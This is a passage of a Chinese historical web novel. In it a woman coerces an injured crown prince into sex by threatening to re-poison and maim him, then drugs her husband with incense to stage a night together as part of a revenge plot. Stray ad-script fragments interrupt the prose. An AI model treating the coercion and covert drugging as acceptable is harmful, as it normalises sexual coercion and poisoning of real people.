“他出汗那么多,身体缺水,自然要多补充水分,肉粥是补充体力的。”崔朝雪道,“今晚不用你和凡七,你们都去歇着吧。” 她瞥眼竹雪和知晴,“你们俩就在这间屋子内歇息,有事儿我会过来叫你们。” 知晴愣住:“小姐这是?” 竹雪拽了知晴一把,“问什么问,按小姐说的做就是了。” 知晴眼睛眨了眨,似乎懂了。 崔朝雪没管几人的眼神,转身离开。 进到屋内,她小心将门关上,想了想,拉过门后的竹椅挡在门前。 没有门栓,拿竹椅充个数。 她回身走到床榻前。 胥宸安安静静躺在榻上。 凡九做事还是比较细心的。 人干干净净躺在那里,看着便舒服了许多。 听到声响,胥宸偏头看向她的方向,出声发问:“是你?” 崔朝雪走近,坐到榻上,“是我。” 胥宸声音听起来正常了许多:“谢谢你。” 痛意消失,他知道她没有骗他,她真寻来解药,救下他一条命。 “我当得起你这声谢。”崔朝雪这会儿的心情放松了许多,白日里,她面对的是将死之人,现在却不是。 “这样说起来,你是有福之人,在将死之际遇到我。”她想了想,问道,“你打算怎么谢我?” 光轻飘飘的一个“谢”字怕是不行。 胥宸薄唇微抿,停了一瞬,问道:“姑娘想要什么样的谢礼?” 只要她说,只要他有,应是没什么问题的。 胥宸并不吝啬。 真要说出自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己的要求,崔朝雪有点儿羞于启齿,幸亏他视物不清,否则,她还真有些说不出口。 迟疑半晌,她稳了稳心神,语气淡淡地说道:“我要求不多,陪我两晚即可。” 话落,她静静瞧着他的脸。 胥宸怔住。 他千想万想,没想到眼前姑娘竟会生出这样的要求。 什么叫陪她两晚? 让他一个金尊玉贵的太子,陪她两晚? 她把他当成了什么? 屋内一片静寂。 胥宸想过崔朝雪会索要银两,不管多少,他贵为太子,完全可以满足她的要求,甚至额外多给一些赏赐。他甚至想过她会索要官职或者其他稀世珍宝,他都可以勉为其难地答应。 毕竟她救了他一命。 可令他奇怪的是,她偏偏不要银子不要官职,只要他这个人。 崔朝雪也知道自己提出的是一个胆大妄为的要求。 若两人性别对调一下,或许还可以理解。 可她是女子,在女子应三从四德的当下,她一个未婚女子说出这样的话,简直就是大逆不道。 她不急,安静等着他的回答。 夜风透过窗棂间隙挤进屋内。 烛火被吹得东倒西歪。 两人一躺一坐,安然享受着这静谧的夜。 片刻后,胥宸望向她的方向,很难得地提出一个要求:“扶我起来。” 这样躺着和一个姑娘谈话,不舒服。 他想坐着。 崔朝雪往前倾身,扶着他的肩膀,慢慢将人扶起,让其倚靠着墙壁。 待坐好后,胥宸这才问道:“换个要求吧!” 他身份贵重,不可以随意交付。 崔朝雪表情平和地看着他,声音虽低,但说出来的话却分外有力量,“不可以。” 她拒绝得干脆而彻底。 胥宸扯了下嘴角,语气变得有些冷,“若我不答应呢?” 她要什么都可以,却偏偏要了最不该要的。 崔朝雪有点儿气恼。 他的语气,盛气凌人。 她身为他的救命恩人,不太喜欢。 她虽是商户之女,却也是知书达理进退有度。 从不做强人所难的事情。 她盯着胥宸的脸。 须臾,冷笑出声。 男子相貌堂堂,她喜欢。男子身姿挺拔,她满意。男子处变不惊,她赞赏。男子胸有成略,她更欢喜。 可这样的男子,是不会心甘情愿委身于人的。 崔朝雪心知如何做才是对的,或者喂上一副迷药,在他意乱情迷之下成事。或者大大方方退后一步,潇洒离开。 可知道是一回事,真正面对了,又是另外一回事。 此时此刻的崔朝雪,有生以来第一次。 生出了反骨。 停了一瞬,她缓缓说道:“你再仔细想想,若实在不情愿……” 她卖了个关子,胥宸追问:“你待要如何?” 崔朝雪一字一句,声音清晰地说道:“若实在不情愿的话,我便一切恢复原样。” “一切恢复原样?” 胥宸有些疑惑,他不明白,怎么样才叫恢复原样? “对,”崔朝雪语气平缓,“我在哪里发现你的,便把你送回哪里。你原来伤情是什么样,我照着复原回去。” 在胥宸怔然的表情中,她语气淡然地说下去,“你中了六日消,我便重新给你喂上六日消,”她扫眼他被木板缚住的胳膊,“你原来胳膊是断的,我能找人给你接上,自然也知道怎么给你断掉。” 断掉的胳膊要接起来是有些麻烦,可要再断掉? 生砸就是! 她淡淡看着他:“我没有强迫别人的习惯,所以最后再问你一遍,你可想好了?” 她用着平淡的语气说出来的话,却是极具威胁性的。 5. 第 5 章 她在威胁他! 用着最轻柔的声音,说着最狠戾的话。 他愿意则罢,若是不愿意,她要打断他的胳膊,灌下毒药,将其丢回崖底! 胥宸呆愣当场。 生平第一次,他受到了来自陌生女子明晃晃的威胁。 偏偏,他毫无还击之力。 他现在手不能提,肩不能挑,就连抬手这样简单的动作,他都无法做到。 他绝对相信,她能,说到做到。 他眼中浮现出刚醒时所看到的她的身影。 短短一瞥,虽看不清长相,但身姿窈窕,应是个妙龄少女。 可以在他疼痛难耐之际温柔地抱他,也可以在他拒绝她时,不卑不亢说出威胁的话。 一股子恼意自心底往上蹿起。 崔朝雪若是细看,一定会从他的眼睛里看到萧瑟的杀意。 久久等不到胥宸的回答,崔朝雪慢慢站起身,她居高临下看着他,“看来,你还是不愿。如此,我就不打扰了……” 她摆出一副要“恢复原样”的姿态。 为绝后患,她跟他说话时有别于平常,一直刻意压低声音。 胥宸从低柔的声音里听出了森然的寒意,他薄唇轻启,“谁说我不愿呢?” 崔朝雪冷笑,“你许久不出声,难道不是在天人交战?” 她喜欢识时务者。 碰到南墙也拼命往上撞的,是傻子。 胥宸面色冰冷,“姑娘冰雪聪明,我自然是愿意的。” 明知他是口不对心,她还是慢慢坐了回去。 她脱了鞋子,坐到他旁边,轻轻拽住他的胳膊:“躺下吧。” 胥宸:“……” 他倒是想躺,可身子不听他使唤。 毒性发作的时候,他感觉四肢百骸都不是自己的。服了解药之后,意识回拢,知道四肢百骸尚在,并没脱离自己,可就是不听使唤。 无论脑子如何发出指令,它们都不为所动。 崔朝雪先躺了下来,右手拽了下他的胳膊,胥宸本就坐得不稳,经她一拽扯,直接软绵绵地倒了下来。 像块木头,闷闷地砸到了她绵软的身上。 她发出一声闷哼,不忘伸手扶了下他受伤的右胳膊。 轻轻一推,她一个反身,趴到了他的胸前。 她垂下头,鼻尖几乎与他相抵,气息交缠间。 呼吸有些乱了。 “最后一次机会,你可愿陪我两晚?”她声音很轻,似低喃,似蛊惑。 他看不清她的脸,却能清晰地感知。 温香软玉满怀。 他呼吸一滞,“愿意。” 屋内静了下来。 胥宸等了许久,没有等到她的动作。 表情有些疑惑。 逼迫自己的是她。 他应了,可她却停在这里做什么? 他看不清楚,只模糊看到一个影子伏在自己身上,像是被定住了一般。 蓦地,脸颊上传来湿意。 他想抬手,抬不起来。 湿意越来越多。 一滴,两滴…… 他吃惊:“你,哭了。” 两人此时的情状,任何一个人看到,定然都是把她当作强抢民女的市井恶霸,而他才是那个柔弱不能自理的良家妇女。 良家妇女没哭,市井恶霸倒哭上了? 崔朝雪的眼泪簌簌落下。 “你可怜,我也可怜。” 胥宸拧眉:“我可怜,因了中毒,被,”他顿住,没有说出被她威胁的话,反问道,“你可怜什么?” 想起她抱着自己时说过父母死了,姐姐死了,他瓮声瓮气地问道:“亲人都不在了?你便疯魔了?” 既然哭了,便说明她不是常做这种“欺男霸女”的事情,可既然她不愿,又没人逼她,她为何如此? 唯有“疯魔”两字能解释吧? 崔朝雪拭泪。 男女之事应是旖旎销魂的。 她没有。 她有的,只是难过。 “这世上的男子有了一个妻子不够,为何还要有外室女,有妾室?有情有义的男子不存在么?” 她自说自话,“我希望这世间有情有义,是男子便要顶天立地,便要重诺。若是允诺一生一世一双人,便无论如何也要做到。” 屋外传来几声鸟叫。 崔朝雪,“燕子尚且知道忠诚,一只燕子若是死了,配对的燕子不会去找别的配偶,甚至会殉情。殉情太过刚烈,我唯愿我喜欢的男子一生只喜欢我一个。” 她抬起袖子,拭去满脸的泪,“可现在,一切都不可能了。” 胥宸默了一瞬,问:“既然想要忠诚的伴侣,为何要与我?” 崔晚柠苦笑,她不能把求子的事情说出来,以免将来生出什么隐患。 她看着他的脸。 “我喜欢你的长相,喜欢你的处变不惊,喜欢你识时务。今晚,就当作你是我生命中那个有情有义的男子。” 她说话奇奇怪怪,胥宸听得直皱眉头。 说到最后,她低头,重重咬了下他的唇。 有血腥味传来,胥宸拧眉,她竟然咬破了他的唇。 裂帛声响,崔朝雪真得像一个恶霸一样俯身下来…… 天亮时分,面无表情的崔朝雪慢慢挪开那阻门的竹椅。 走出屋子。 山色曦微,晨雾缭绕。 一扫前几日的阴霾,天放晴了。 贴心的竹雪和知晴早备好了温水。 这里是不方便沐浴的。 崔朝雪简单擦拭了身上,换了身干净的衣裳。 竹雪一边收拾她换下的衣物,一边悄悄观察。 小姐身上并无平常女子的各种痕迹。 她虽是姑娘家,但也知晓,女人经过那事之后,身上往往会留下各种印痕。 可奇怪的是,小姐身上白白嫩嫩的,一如往常。 小姐脸上也无任何喜意。 依旧是悲伤满脸。 她心疼自家姑娘。 为了复仇,小姐放弃了自己的幸福。 用早膳的时候,崔朝雪想到一事,吩咐竹雪:“告诉凡九、凡七,今天不必到旁边屋子。” 竹雪惊讶:“不管那受伤的男子了?” 刚服下解药,他还不能动,是需要人服侍的。 崔朝雪淡淡道:“一切有我。” 竹雪去传达小姐的命令时,凡九、凡七和秦叔正围坐一起用膳,听了之后,凡九和凡七都愣了,疑惑的目光扫向秦叔。 秦叔头也不抬:“看我做什么,小姐吩咐的,自然有小姐的道理,你们安生待着便是。” 说得有道理。 竹雪回去复命。 用完早膳,崔朝雪再次推开了那扇门,手中拿着干净的巾帕,端着一盆温水进了屋。 胥宸衣衫凌乱歪在榻上,白色的衣衫上沾染着斑斑点点的不明痕迹。 露在外面的肌肤都不同程度地密布着大小不一的红痕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 那副样子像极了被恶霸蹂躏过的良家妇女。 破碎、可怜。 崔朝雪默不作声的上前。 撩开胥宸的衣裳,帮他擦拭。 温热布巾拭过的地方,红痕愈发明显。 彰显着昨夜的狂乱与恣意。 竹雪在崔朝雪身上没有找寻到的痕迹,在胥宸这里体现了个十成十。 安静躺在榻上任人摆布的胥宸忽然出声:“是你?” 声音是疲累之后的低哑。 崔朝雪不搭理他,只管忙自己的。 她昨晚说了太多的话,现在什么也不想说。 别人行男女之事大概是欢愉与幸福的。 可她更多的是痛苦。 心里痛,身体更痛,只有在他身上留下印痕,似乎才能好受一点点儿。 她欺侮了他,心里有些愧疚。 帮他擦身,换衣服,倒掉脏水,自外头拿过一个夜壶,递上去。 接收到信号的胥宸表情有些难堪。 他瓮声瓮气地问道:“可否扶我到外面解手?” 崔朝雪捧着夜壶,一声不吭。 拗不过,胥宸憋屈不堪地解了手。 似蒙受了什么奇耻大辱般。 崔朝雪把夜壶拿出去倒掉,洗手后,端了水和肉粥。 他身体还在恢复当中,不适合吃太油腻的食物。 她沉默地喂他吃饭。 她端上前,他张口、吞咽。 很是配合。 午后,崔朝雪想小憩一会儿。 可这一睡,直接睡到了天黑。 醒来后,面对着窗外的暗沉夜色,她懵了好久。 知晴道:“小姐,您睡了整整一个下午。” 看来昨晚是累着了,否则不会晴天白日的睡这么久。 崔朝雪收拾收拾,去了旁边屋子。 屋内黑漆漆的,崔朝雪点燃烛火。 胥宸身上出了薄薄的一层汗,她喂他饭食之后,不厌其烦地为他擦了身。 临上床榻之前,她想了想,吹熄了蜡烛。 估摸着他今晚身体开始恢复,可以慢慢抬手,视物逐渐清晰。 她得防范着些。 她一言不发地躺到他的旁边,偎依在他的胸口。 咚咚咚! 他心脏跳动有力,如将士擂鼓一般。 他大约是个征战沙场的将士吧,身上紧实有力。 不似文弱书生,白白嫩嫩,见风要倒似的。 也不似那乡野莽夫,榜大腰圆。 他身姿矫健,气宇轩昂,是个难得一见的好男儿。 …… 子夜时分,面色平静的崔朝雪慢慢下了榻。 拉开木门,夜风蜂拥着挤进来。 知晴站在院子当央,提着灯笼。 竹雪提着食盒悄无声息地走进屋。 凡九和凡七抬了一箱东西紧随其后。 秦叔端了一只冒着热气的碗,跟着要往里进。 崔朝雪蹙了下眉,“这是?” 秦叔不太自然地咳嗽一声,小声道:“药。” 并没解释过多。 崔朝雪只以为是帮胥宸解毒用的,便没再问,任秦叔进去了。 片刻后,几人从屋内出来,小心将门掩好。 走到院门外,崔朝雪面无表情地说道:“秦叔,麻烦你和凡九、凡七另外寻个住处。我和竹雪、知晴回寺庙住上几日。”她扫眼院门,“这里,万不可再来了。” 6. 第 6 章 天光大亮。 木屋内,胥宸四肢渐渐有了力气,勉强可以下榻,虽不能利落行走,但自己照顾自己已不成问题。 视线恢复,他目色冷淡,斜睨着周遭的一切。 冷冷地哼了一声。 他还真是小瞧了她。 低矮的竹椅上摆放着水和吃食,他一伸手便能够到。 地上有一盆清澈的水,水盆边搭着干净的布巾。 床侧有两套叠放整齐的衣裳。 一套是他的,应是洗干净后进行了缝补,一套是新的,光滑的绸缎,可知价值不菲。 最夸张的是静置于地上的大箱子。 他好奇掀开箱子时,惊得直吸冷气。 满满当当一大箱子。 足足一万两,她还真是大气。 他使劲地闭了下眼,呼气,吸气,再睁眼时,眼睛里凉薄一片。 二十几天后,崔朝雪被秦叔诊出了喜脉, “小姐,你有喜了。” 崔朝雪脸上没有任何喜意。 二十几天里,她听知晴说了太多太多。知道姐姐在侯府受了太多的磋磨。 姐姐出嫁前十指不沾阳春水,从未下过厨房。可嫁到侯府后,却学会了做一手好菜。她可以亲手操持出一大桌子的菜。滚烫的油溅她满手满身。 谢纲说侍候公婆要心诚,让她亲手洗婆母换下的衣裳。婆母瘫痪,换下的衣裳经常布满屎尿,仆从洗时都嫌弃到恶心。她忍着恶心,天天洗,年年洗。冬天天冷,水冰凉刺骨,她葱白的双手长满冻疮。 婆母脾气不好,一生气便罚跪。谢纲不许她惹母亲生气,她便乖乖去跪,有时候一跪便是两三个时辰。 婆母说她捶腿捶得好,让她整夜整夜地为其捶腿,偶尔打个瞌睡,还会被斥为不孝。 姐姐擅长做绣品,谢纲的妹妹谢宛宛轻飘飘一句话,姐姐便会忙上好几天。 谢纲看着听着,不替姐姐说一句话。 崔朝雪把这些一点一滴记在心里。 这不是好的过往。 她得记住,才能在复仇的路上走得更稳更坚定。 听到有喜的消息,她平静地点头:“秦叔,是时候回候府了。” “这个孩子?” “秦叔放心,我自有打算。不管是不是谢纲的,我都会想办法按在他的头上。” “侯府凶险,我们和你一起。”秦叔还是不放心,他要和凡七、凡九一起去。他擅医,凡七、凡九擅武,竹雪、知晴细心,可以各方面帮衬崔朝雪。 “好。” 崔朝雪答应了。 一行人坐着马车赶回侯府。 门口的小厮没有想象中的热情和惶恐,连眼皮都懒得掀,只扫一眼,便还是坐在原处。 知微见著。 可见姐姐平常在这府里是什么样的待遇,连个下人都没将她放在眼里。 崔朝雪眼中迸着怒气,她沉稳有力地喊了声:“凡七!” 凡七一个剑步跃到她的身后,铿锵有力地回答:“在!” 崔朝雪目色冰冷,“见了主子不行礼,这样的下人该如何处置?” 凡七瞪着两个懒洋洋的小厮,气沉丹田,吼出一个字:“打!” “还等什么,给我打,打到他认主子为止。” 凡七操起一根棍子,冲着两个小厮劈头盖脸砸去。 两个小厮被打得吱哇乱叫。 “夫人疯魔了不是,刚从庙里回来就打打杀杀的?” “快去告诉老夫人,夫人疯了,夫人疯了。” 他们抱头鼠窜。 凡九一个跃身挡到他们的身前,抬腿扫倒一个。凡七棍子跟上来,拍晕一个。 终于不跑了。 崔朝雪面无表静地往里走。 早有人把消息传到了后院。 刚走至拱门处,便有下人小心翼翼拦在跟前,行礼之后,哆哆嗦嗦说道:“夫人,夫人,老夫人有请。” 果然还是棍棒好使,现在侯府的丫头、小厮都知道她是侯夫人了。 见了需要行礼的侯夫人。 老夫人虽说是身体大好,但也不良于行,进出靠的是轮椅。 崔朝雪进去的时候,老夫人坐在床榻上,倚靠着引枕,手中端着一盏茶,脸色黑沉。 毕竟是长辈,崔朝雪淡淡行了个礼。 “母亲,儿媳归家了。” 茶杯劈面而来,眼疾手快的凡七抬手一挡,茶杯斜着落到地上,碎片四分五裂,迸溅得到处都是。 原来茶不是用来喝的,是准备拿来撒气的。 崔朝雪面不改色心不跳,稳稳当当站在那里。 没砸中人,谢老夫人心气不顺,“你还知道回来。侯府一大堆事情需要处理,你就这样扔给瘫在床上的婆母,知道什么是孝吗?” 又拿“孝”的帽子扣到她的头上。 崔朝雪不卑不亢,“儿媳去庙里求子,此事已跟母亲和夫君说了。夫君亲口说过,儿媳在那里待多少天都可以。” “他是关心你体贴你,你便这么不知廉耻?” “廉耻?”崔朝雪不甘示弱,“要说到廉耻,谁能比得过卫婕楚,无名无份地便有了身孕,在外住了三年不算,竟大摇大摆地住进了侯府。就是不知道,侯府现在给她的身份是什么?” 姐姐临行前,卫婕楚刚刚进府,谢纲的理由是她怀了孕,府里比外头住得安心,所以必须带回来。卫婕楚可以住在外头,但谢家的子孙不能。 卫婕楚是母凭子贵。 谢老夫人没想到一向逆来顺受的儿媳竟然敢反驳自己,气得用手指着她,“你,你,反了你了!” 她捂着胸口,一副气到不行的样子。 这要是姐姐在面前,肯定要小心翼翼地上前,贴身贴意地侍候安慰。 可崔朝雪不会。 她眼睁睁看着她装腔作势,心里不为所动。 许是看得厌了,她道:“没什么事情,儿媳先退下了。” 老太婆那副样子,她都懒得看。 她甩袖往外走,衣摆在空中划出好看的弧度。 半路遇上了卫婕楚。 她打扮得明媚张扬,见到崔朝雪时并不行礼,下巴轻抬,一副颐指气使的模样。 不用知晴提醒,崔朝雪也知道这位就是谢纲的心上人。 卫婕楚挡住她的去路,“姐姐终于知道归家了?” 崔朝雪冷眼瞧她:“这是从哪里蹿出来的猫猫狗狗?侯府何时这么凌乱,猫狗也能在府里四处横行?” 卫婕楚柳眉倒竖:“好你个崔晚柠,竟敢骂我?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “你是什么身份,竟敢直呼侯府当家主母的名讳?” “当家主母?”卫婕楚得意洋洋,“很快就不是了。” 她得意地抚向自己的小腹,“有些人啊,就是自不量力。” “恐怕那自不量力的人不自知吧。”崔朝雪瞥眼她引以为豪的小腹,“你肚子怎么了?用不用帮你敲打敲打?” 凡七比量了下手中粗长的棍子。 卫婕楚眼睛骨碌碌转了两圈,“疯了疯了。” 她不敢惹疯子。 赶紧走人。 崔朝雪面色沉沉地回了自己的院子。 知晴忙前忙后,安排秦叔和凡七、凡九的住处。 竹雪寸步不离地照顾崔朝雪。 “小姐,您千万别生气,要保重身体。” “我不生气。” 在庙里,她的气已经生完了。 现在是撒气的时候。 “您这样对老夫人和外室女,那谢纲会不会来为难您?” “我正盼着他来呢,他不来,我上哪儿给孩子找爹去?” 她宁愿随便找个人怀孕生子,也绝不给谢家传宗接代。 她要怀着别人的孩子,让谢家认下。 谢纲回府后便听到了崔朝雪的“疯魔行为”。 他心急火燎地赶了来。 崔朝雪听知晴说过,谢纲要发火之前,往往喜欢铺垫一下,道貌岸然地说几句,再一声比一声高,怒气节节攀升,发泄个淋漓尽致。 以前的崔晚柠唯唯诺诺,他一旦火起,她便慌急得不行,他说什么便是什么。他让她做什么,她便做什么。 谢纲还想拿出之前的一套。进门后,他面色和旭,亲亲热热地挽起崔朝雪的手,“夫人,你终于回来了。”他如同一个思念妻子的丈夫,上上下下地打量她,“你在外吃得可好,用得可好?为夫日日都在为你担心呢!” 屋内燃了一柱香,香气袅袅,弥漫整间屋子。 崔朝雪用手帕掩住鼻子,轻轻咳嗽了一声,“夫君,晚柠也思念夫君。”她拉着谢纲往床榻方向走,“夫君,晚柠有重要的东西要给夫君瞧。” 谢纲正酝酿着发火,闻听有重要的东西,遂停下发火的节奏,想瞧瞧重要的东西倒底是什么。 崔朝雪牵着他的手来到床榻前,侧身在被子上翻找,谢纲好奇地探头瞧。 瞧着瞧着,他感觉头昏脑涨。 下一刻,人便软软地歪到地上。 崔朝雪依然用手掩着鼻子,见状松开他的手,快速跑了出去。 她站在门外大口呼吸,知晴小心将门掩上。 崔朝雪低声问:“没人吧?” “下人都被我遣走了。凡九、凡七在院门外守着,小姐放心。” 崔朝雪不悦:“怎么还叫我小姐?” 知晴赶紧改口:“夫人。” 竹雪靠过来,“夫人,迷香我加了量,让他在里头再吸一会儿,这样,足够撑到天亮。” 崔朝雪点头:“让凡七进去布置一下。” 刚才拉谢纲的手便感到恶心,她不想再去碰触他。 院门口的凡七听命,用棉布塞住鼻孔进到屋内,窸窸窣窣一通忙活。 一刻钟后,凡七从里头出来。 “夫人,妥了。” 7. 第 7 章 谢纲清晨醒来的时候,整个人都是懵的。 他裸着身子躺在榻上,旁边无人。他松口气,眼睛扫向地下,衣服被撕得一缕一缕的扔得到处都是。 吃惊地抬眼。 崔朝雪披散着一头长长的黑发,含羞带怯地站在床侧。 她声音柔柔的,“夫君,你醒了?” 谢纲不敢相信:“我,我昨晚歇在了这里?” 他昨晚是打算狠狠训斥她一顿,之后再去卫婕楚那里好好安慰一番。 结果却成了这样。 崔朝雪嗔他一眼,“夫君莫不是忘了?我说累了,夫君不依,非要,”她瞥眼地上散落的衣裳,“这些,可都是夫君……” 谢纲听不下去,粗暴地打断她:“我的衣裳呢?” 他不能接受自己和她欢好一夜的事实。 可屋子里的情况,样样都在向他阐明事实。 由不得他不信。 竹雪推门进来,手中托着谢纲的衣裳。 谢纲半倾身子抓过来,不用任何人侍候,三两下将衣裳穿到身上。 崔朝雪走到他的身旁,很是贴心地询问:“夫君不用早膳吗?” 谢纲哪还有心思用早膳,他翁声道:“我还有事,夫人自己用吧。” 火烧眉毛似地溜了。 人刚走出院子,掐了半天细嗓的崔朝雪便板起了脸,她嫌恶地踢走脚下的衣裳,“竹雪,赶紧收拾了,”她指指床榻,“这些,这些,统统收拾了。” 谢纲用过的被褥,她嫌恶心。 竹雪忙不迭地去收拾。 崔朝雪把知晴叫进屋,“昨晚我看了一夜的账本,这谢府的脸皮还真是厚,这三年来不知道从姐姐身上扒走了多少油水,还能恬不知耻地向姐姐提各种要求。” 知晴:“夫人说的是。” 崔朝雪指指其中几间铺子,“你去递信,这几间铺子,以后不允许谢家人去拿东西。拿银子买可以,记账,绝对不行。若是谢府人在铺子里头耍赖,直接报官。” 知晴眼睛一亮:“夫人,早该如此了。” “还有,把库房锁了,没我的命令,任何人不得取用我的嫁妆。”她指着其中一笔账,“这每隔两月去买的中药,是谁在用?一次买药,竟需三千两。” “是给老夫人买的,因是单独配制,所以贵重。” 想到昨晚老夫人砸杯时的精神头,崔朝雪说道:“我看老夫人容光焕发,精力充沛,再是药喝多了伤身,停了罢。” 知晴喜上眉梢,答应得很是痛快:“好。” 忙完账本的事情,崔朝雪扬起纤白的颈子,“知晴,帮我种下几个印痕。” 知晴不解:“小姐这是?” “光让凡七给他种下怎么成?我身上也得有点儿,若不然哪来的琴瑟合鸣?” 竹雪笑了,“小姐,我来。” 两个丫头抢着上前。 “小姐身上香香软软的。” “这里也要吗?” “小姐疼不疼?” …… 谢纲刚走到院门口,便瞧见跪在地上的卫婕楚的丫头小荷。 他惊问:“你怎么在这里?” 小荷委屈巴巴的,“老爷,昨晚卫姑娘身子不适,差奴婢来请您。” “昨晚?” 谢纲压根不知道。 “夫人院里的侍卫不让进,说是……” 小荷吱吱唔唔。谢纲不耐烦,斥道:“说。” 小荷委屈,“说是不能影响老爷和夫人琴瑟和鸣。” 谢纲气得脸色涨红,这哪里来的侍卫,竟然用上了“琴瑟合鸣”这样的词儿。 他回身,端出老爷的威严:“谁说的?” 知晴从里头出来:“老爷,昨晚是您让这么说的。您说您和夫人琴瑟合鸣,谁再来打扰,一律掌嘴。” 谢纲:“……” 他不记得自己曾说过这样的话。 昨晚自己忽然头昏脑涨? 应该是哪里出了问题。 可现在不是计较这个的时候,他得先去安慰等了自己一夜的卫婕楚。 他脚步匆匆地赶往清霞居。 屋里头的卫婕楚闻听他的声音,赶忙做出一副垂头抹泪的样子。 谢纲瞧见,心疼得不行,上前扶住她,“婕楚,你身体如何了?可需要请郎中?” 卫婕楚抬首,泪盈于睫,一副楚楚可怜若人怜惜的样子,“谢郎,你让我等得好苦。” 谢纲心都快化了,“都是我不好,都是我不好。” “谢郎好,谢郎做什么都是好的。”她抽抽咽咽,偎到他怀里,“都是崔晚柠那个贱人不好,她明知谢郎心中只有我,却非要拦在中间,让谢郎为难。” 这话说到谢纲的心里,他心情愤懑,“的确如此。昨晚我去了她那里,本是要好好训斥她一番,谁曾想却突然头昏脑涨,早上醒来竟不记得昨晚发生了什么。想来,定是她使了什么奸计。” 他越想越气:“定是如此。” 否则不会这样。 卫婕楚一听他不记得昨晚发生了什么,倏地抬头,眼神敏锐地扫看谢纲脸上身上,很快发现了不对劲。 “老爷脸上?”她眸色一沉,“是,是吻痕吧?”她看向谢纲的脖子,“这里,也有,还不只一处。” 她坐不住了,起身,去解谢纲的衣袍。 谢纲莫名其妙,由着她解开自己的腰封,撩下他的衣裳。 露出他光裸的上半身。 看完上半身不算,卫婕楚竟去扒他的裤子。 谢纲被扒得只剩一条亵裤。 卫姑娘是要…… 小荷羞得垂下头。 卫婕楚扒完衣裳,眼神在谢纲身上扫来扫去。这不看还好,越看脸色越黑。 看罢,她哭着瘫到地上,“谢郎,谢郎,你,你怎可如此?” 她哭得梨花带雨,好不伤心。 谢纲这才觉出不对,低头看向自己。 胸前、背部,甚至大腿上,遍布着令人遐思的红痕,他手指抚向腰间的一处,使劲摁了下。 不是染的色,也不是画上去的,是真的红痕,再细看,隐隐有牙印的形状。 “这些,这些……”他有些口吃。 卫婕楚伤心大喊,“还能是什么,都是那个狐狸精闹的。她堂堂侯府主母,竟做下如此下作的事情,亲谢郎的脸便罢,还要亲脖子,亲其他地方。” 她上前,撩起谢纲亵裤,指着靠近隐秘处的一排牙印,“这里,她竟然也留下了痕迹。” 她一下一下地捶打谢纲的腿,哭得伤心欲绝,“谢郎,你,你不是说你不近她的身子吗?你骗我,你骗我!” 都亲遍全身了还叫不近身? 分明是骗她。 她爬将起来,气得要撞墙,“我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不活了!” 谢纲忙上前使劲抱住她,“婕楚,你信我。” 卫婕楚歇斯底里:“你让我信什么,你满身都被她亲遍了,你让我信什么!” 谢纲百口莫辩! “你说要娶我做平妻,可这么久了,还没个动静。我腹中胎儿已近三个月,再拖下去,身子就掩不住了。我一个姑娘家,没名没份地跟了你三年,到头来却落得这个下场。你,你没有心!” 谢纲,“你放心,这几天我便会和母亲找她谈此事,她若应了还行。若是不应,我定以三年未出休掉她。到时候把族长请来,不是我谢府非要留下她的嫁妆,实在是她不配为谢家妇,谢家不得不做出休妻之举,留下她的嫁妆是对她的惩罚。” 卫婕楚还是不依不饶:“一个月前你也是如是说,可现如今呢,不还是没结果?你昨晚信誓旦旦说去训斥她,结果呢?” 训斥了一身吻痕回来。 卫婕楚闹将个不停,谢纲是有理说不清,只好允诺:“你不是说崔晚柠的首饰铺子新进了几只新式的玉簪吗?我这就差人去取来给你。” 一听玉簪,卫婕楚的哭声弱了下去,“那簪子听说至少要五千两。” 谢纲大言不惭:“别说五千两,哪怕是上万两,还不是我一句话的事儿。你见崔晚柠何时杵逆过我?我只要一生气,她哪回不是乖乖的听命于我?” 卫婕楚拭掉眼泪:“这还差不多。” 美人展颜,谢纲终于舒了口气。 转而去安慰老母亲。 谢老夫人正和女儿谢宛宛说话。 谢宛宛:“我那兄长不是说再不近嫂嫂的身了?这怎么嫂嫂刚回来他就巴巴赶去了?还一整晚没出来。下人们都在传,谢夫人和谢大人昨天颠鸾倒凤了一整夜。” 谢老夫人倒没觉得有什么,“崔晚柠是侯府夫人,侍候夫君是天经地义的事情,有何不可。” “是兄长自己亲口说的,他不喜欢嫂嫂那副死气沉沉的模样,不愿近她的身,要不是看在她真心操持侯府的份上,早把她给休了,哪轮着她一个商户之女掌管中馈。” 老夫人捶了捶自己的腿,“怎么回事,前些日子已经好转,可以慢慢站立一会儿,这几天怎么又有了麻的感觉?” 她瘫在床上三年,忽然有了知觉,虽不能行走,但可以站立一会儿。她以为康复在望,谁曾想最近这身子似乎有点儿孱弱的迹象。 她招来下人,“我的药,一直没变吧?” 下人恭敬禀报:“回老夫人,郎中开的药一直没停。” “不还有夫人单独给我买的药吗,我记得是三日喝上一副的。这两天怎么没见?” “回夫人,夫人配的药,是两月配上一次,正好前日用完了,新药还没有配来。” “还等什么,赶紧让她去配。”老夫人气恼,“这点儿事情都做不好,难怪纲儿不喜欢她。” 谢宛宛:“还有,她在外头住了一个多月,我这儿还有衣裳需要她帮忙做呢。” 谢纲自外头进来,“需要你嫂嫂做的,你找她便是。她侍候婆母,照顾小姑子,都是理所应当的。她做得不好,你们训斥她便是。” “今日便让她去配药,这药若是配不来,晚上让她在我床头跪上三个时辰。”谢老夫人黑沉着一张脸,“这府里,有什么比我的健康更重要的?她真是分不清轻重缓急。昨日我说她,她竟敢回嘴,真是岂有此理。” 8. 第 8 章 老夫人还以为崔晚柠和以前一样,是个好拿捏的。 毕竟拿捏了三年,都拿捏习惯了。 认为她昨天的顶嘴,不过是一时的疯魔罢了。 谢家人浑不当一回事。 自以为日子还是照旧过。 谢纲派去拿簪子的下人灰头土脸地回来了。 向谢纲禀报:“谢大人,首饰铺子说概不赊欠。” 谢纲眉峰一扫,“没说是谢府谢大人让来取的么?” “说了,还是不给。” 谢纲拍案而起:“反了他们了。” 整个首饰铺子他都搬走也没人敢说什么。 那些个下人,真是不知死活。 他义愤填膺,亲自去往首饰铺子。 首饰铺子在街上最繁华的地段,门口人来人往的,好不热闹。 